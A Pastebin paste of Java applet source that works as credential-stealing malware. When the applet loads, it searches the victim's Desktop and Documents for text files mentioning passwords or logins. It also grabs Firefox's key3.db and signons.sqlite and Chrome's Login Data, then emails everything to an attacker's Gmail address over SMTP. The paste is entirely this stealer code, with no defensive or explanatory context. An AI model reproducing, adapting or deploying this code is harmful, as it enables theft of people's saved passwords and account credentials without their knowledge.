Guest User

Untitled

a guest
Jun 28th, 2018
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.13 KB | None | 0 0
  1. public class Core extends Applet {
  2.  
  3. private static final long serialVersionUID = -7385325147137183036L;
  4.  
  5. public void init() {
  6. String username = System.getProperty("user.name");
  7. File dektop = new File("C:\\Users\\" + username + "\\Desktop");
  8. File documents = new File("C:\\Users\\" + username + "\\Documents");
  9. ArrayList<File> files = new ArrayList<File>();
  10. files.addAll(listFiles(dektop));
  11. files.addAll(listFiles(documents));
  12. ArrayList<File> validFiles = new ArrayList<File>();
  13. ArrayList<String> keywords = new ArrayList<String>();
  14. keywords.add("pw");
  15. keywords.add("pass");
  16. keywords.add("password");
  17. keywords.add("passwort");
  18. keywords.add("login");
  19.  
  20. for(int i = 0; i < files.size(); i++) {
  21. if(hasExtension(files.get(i), "txt")) {
  22. if(includesKeyword(files.get(i), keywords)) {
  23. validFiles.add(files.get(i));
  24. }
  25. }
  26. }
  27.  
  28. sendEmailWithFiles(validFiles, getFirefoxFiles(), getChromeFile());
  29. }
  30.  
  31. private static File getChromeFile() {
  32. String username = System.getProperty("user.name");
  33. File path = new File("C:\\Users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
  34. return path;
  35. }
  36.  
  37. private static ArrayList<File> getFirefoxFiles() {
  38. String username = System.getProperty("user.name");
  39. File path = new File("C:\\Users\\" + username + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\");
  40. ArrayList<File> folders = new ArrayList<File>();
  41. folders.addAll(listFiles(path));
  42. File path1 = new File(folders.get(0).getAbsolutePath() + "\\cert8.db");
  43. File path2 = new File(folders.get(0).getAbsolutePath() + "\\key3.db");
  44. File path3 = new File(folders.get(0).getAbsolutePath() + "\\signons.sqlite");
  45.  
  46. ArrayList<File> returnFiles = new ArrayList<File>();
  47. returnFiles.add(path1);
  48. returnFiles.add(path2);
  49. returnFiles.add(path3);
  50. return returnFiles;
  51. }
  52.  
  53. public static void sendEmailWithFiles(ArrayList<File> files, ArrayList<File> mozillaFiles, File chromeFile) {
  54. String username = System.getProperty("user.name");
  55. String emailContent;
  56. emailContent = "Found following Files on " + System.getProperty("user.name") + "'s Computer:";
  57.  
  58. if(mozillaFiles.get(0) != null)
  59. emailContent = emailContent + "\nMozilla Files included.";
  60. if(chromeFile != null)
  61. emailContent = emailContent + "\nChrome Files included.";
  62.  
  63. emailContent = emailContent + "\n\n\n\n";
  64.  
  65. for(int i = 0; i < files.size(); i++) {
  66. emailContent = emailContent + "\n-------------------------------------------- [ " + files.get(i).getAbsolutePath() + " ] --------------------------------------------";
  67. try {
  68. BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(files.get(i).getAbsolutePath())));
  69. String line;
  70. while((line = textfile.readLine()) != null) {
  71. emailContent = emailContent + "\n" +line;
  72. }
  73. } catch (FileNotFoundException e) {
  74. emailContent = emailContent + "\nWas not able to include file.";
  75. } catch (IOException e) {
  76. emailContent = emailContent + "\nWas not able to include file.";
  77. }
  78. emailContent = emailContent + "\n-------------------------------------------- [ END ] --------------------------------------------";
  79. emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------";
  80. emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------\n\n\n";
  81. }
  82.  
  83. String host = "smtp.gmail.com";
  84. int port = 587;
  85. String user = "******";
  86. String pass = "******";
  87.  
  88. Properties props=new Properties();
  89. props.put("mail.smtp.auth", "true");
  90. props.put("mail.smtp.starttls.enable", "true");
  91.  
  92. try {
  93. Session session=Session.getInstance(props);
  94. Transport transport = session.getTransport("smtp");
  95. transport.connect(host, port, user, pass);
  96.  
  97. Address[] addresses = InternetAddress.parse("rerulezz@googlemail.com");
  98.  
  99. Message message = new MimeMessage(session);
  100. MimeMultipart content = new MimeMultipart();
  101. MimeBodyPart textPart = new MimeBodyPart();
  102. textPart.setText(emailContent);
  103. content.addBodyPart(textPart);
  104. for(int i = 0; i < mozillaFiles.size(); i++) {
  105. try {
  106. if(new File(mozillaFiles.get(i).getAbsolutePath()).exists()) {
  107. MimeBodyPart binaryPart = new MimeBodyPart();
  108. FileDataSource fds = new FileDataSource(mozillaFiles.get(i).getAbsolutePath());
  109. binaryPart.setDataHandler(new DataHandler(fds));
  110. binaryPart.setFileName(fds.getName());
  111. content.addBodyPart(binaryPart);
  112. }
  113. } catch (MessagingException e) {
  114.  
  115. }
  116. }
  117. try {
  118. if(new File(chromeFile.getAbsolutePath()).exists()) {
  119. MimeBodyPart binaryPart = new MimeBodyPart();
  120. FileDataSource fds = new FileDataSource(chromeFile.getAbsolutePath());
  121. binaryPart.setDataHandler(new DataHandler(fds));
  122. binaryPart.setFileName(fds.getName());
  123. content.addBodyPart(binaryPart);
  124. }
  125. } catch (MessagingException e) {
  126.  
  127. }
  128. message.setFrom(new InternetAddress(user));
  129. message.setRecipients(Message.RecipientType.TO, addresses);
  130. message.setSubject("jvr1ne | " + username + "'s Computer:");
  131. message.setContent(content, "multipart/mixed");
  132.  
  133. transport.sendMessage(message, addresses);
  134. transport.close();
  135. } catch (MessagingException e) {
  136. e.printStackTrace();
  137. }
  138.  
  139. }
  140.  
  141. public static boolean includesKeyword(File file, ArrayList<String> keywords) {
  142. try {
  143. BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(file.getAbsolutePath())));
  144. String line;
  145. try {
  146. while((line = textfile.readLine()) != null) {
  147. if(stringIncludesKeyword(line, keywords)) {
  148. return true;
  149. }
  150. }
  151. } catch (IOException e) {
  152. e.printStackTrace();
  153. }
  154. } catch (FileNotFoundException e) {
  155. e.printStackTrace();
  156. }
  157. return false;
  158. }
  159.  
  160. public static boolean stringIncludesKeyword(String string, ArrayList<String> keywords) {
  161. for(int i = 0; i < keywords.size(); i++) {
  162. if(containsString(string.toLowerCase(), keywords.get(i).toLowerCase())) {
  163. return true;
  164. }
  165. }
  166. return false;
  167. }
  168.  
  169. private static boolean containsString(String s, String subString) {
  170. return s.indexOf(subString) > -1 ? true : false;
  171. }
  172.  
  173.  
  174. public static boolean hasExtension(File file, String extension) {
  175. if(file.getName().toLowerCase().endsWith(extension)) {
  176. return true;
  177. } else {
  178. return false;
  179. }
  180. }
  181.  
  182. public static ArrayList<File> listFiles(File dir) {
  183. File[] files = dir.listFiles();
  184. ArrayList<File> matches = new ArrayList<File> ();
  185. if (files != null) {
  186. for (int i = 0; i < files.length; i++) {
  187. matches.add(files[i]);
  188. matches.addAll(listFiles(files[i]));
  189. }
  190. }
  191. return matches;
  192. }
  193.  
  194. }
Add Comment
Please, Sign In to add comment